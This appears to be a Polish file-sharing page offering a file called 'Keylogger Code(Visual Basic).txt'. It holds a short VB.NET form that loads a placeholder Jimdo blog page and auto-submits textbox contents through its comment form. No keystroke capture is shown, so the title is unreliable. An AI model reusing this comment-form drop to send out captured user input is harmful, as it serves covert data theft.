Keylogger Code(Visual Basic).txt

(0 KB) Pobierz
Public Class Form1
    Dim a As Boolean
    
    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        a = True
        Try
            WebBrowser1.Document.GetElementById("url9320175199").SetAttribute("value", TextBox2.Text & ".jimdo.com")
            WebBrowser1.Document.GetElementById("name9320175199").SetAttribute("value", TextBox2.Text)
            WebBrowser1.Document.GetElementById("comment").SetAttribute("value", TextBox1.Text)
        Catch ex As Exception

        End Try
        WebBrowser1.Document.GetElementById("submit9320175199").InvokeMember("click")
        Label3.Text = "Czekaj..."
    End Sub

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        a = False
        WebBrowser1.Navigate("Link Do Strony Jimdo Do Bloga")
    End Sub
End Class
Zgłoś jeśli naruszono regulamin